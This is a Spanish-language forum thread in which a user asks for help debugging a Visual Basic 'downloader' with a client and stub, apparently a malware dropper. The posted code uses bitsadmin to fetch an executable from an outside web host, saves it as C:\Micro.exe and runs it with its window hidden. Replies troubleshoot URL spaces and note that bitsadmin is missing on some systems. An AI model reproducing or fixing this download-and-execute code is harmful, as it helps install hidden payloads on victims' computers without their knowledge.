Hola, bueno estoy creando un downloader con la funcion de descargar y ejecutar de M3 traducida por Pink, Pero no me ejecuta nada.
Pueden mirar el code si hay algun problema del que no me halla dado cuenta
Estoy utilizando esta ruta como URL: [Enlace externo eliminado para invitados] Naker90.exe (a lo mejor es la URL la que no funka y no he probado con otra ya que los Uploader de exe's que conocia estan caidos)
Cliente:

Mostrar/Ocultar

Stub:

Mostrar/Ocultar

Gracias de antemano
Skype: naker.noventa
Probe con la funcion sola, pero tampoco

Código: Seleccionar todo

Option Explicit
 
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
 
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
 
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
 
Public Sub Shellwait(ByVal cmd As String)
     
    Dim ret As Long
    Dim proc As PROCESS_INFORMATION
    Dim start As STARTUPINFO
     
     
    start.cb = Len(start)
    start.wShowWindow = vbHide
    start.dwFlags = vbNormalFocus
     
    ret = CreateProcessA(0&, cmd, 0&, 0&, False, NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
    If ret Then
         
        ret = WaitForSingleObject(proc.hProcess, INFINITE)
        ret = CloseHandle(proc.hProcess)
        ret = CloseHandle(proc.hThread)
    End If
     
End Sub
 
Private Function Down_E(sUrl As String, sPath As String)
    Dim Sparameter As String
    Sparameter = "bitsadmin /transfer myjob /download /priority High " & sUrl & " " & sPath
    Shellwait (Sparameter)
    ShellExecute vbNull, "OPEN", sPath, vbNullString, vbNullString, 0
End Function
Sub Main()
Call Down_E("http://www.mundoonlinejava.com/cgi.bin/uploads/Anotador Naker90.exe", "C:\Micro.exe")
End Sub

Skype: naker.noventa
Cuando hay un espacio en algun link se le agrega %20 ejemplo Anotador%20Naker90.exe
estoy matando el tiempo, mientras el tiempo nos mata lentamente..

Mostrar/Ocultar

Es decir que si creo el downloader, pero si ejecuto el downloader en un pc que no tiene bitsadmin
como el mio el Downloader no funcionara.
Skype: naker.noventa
Responder

Volver a “VB/.NET”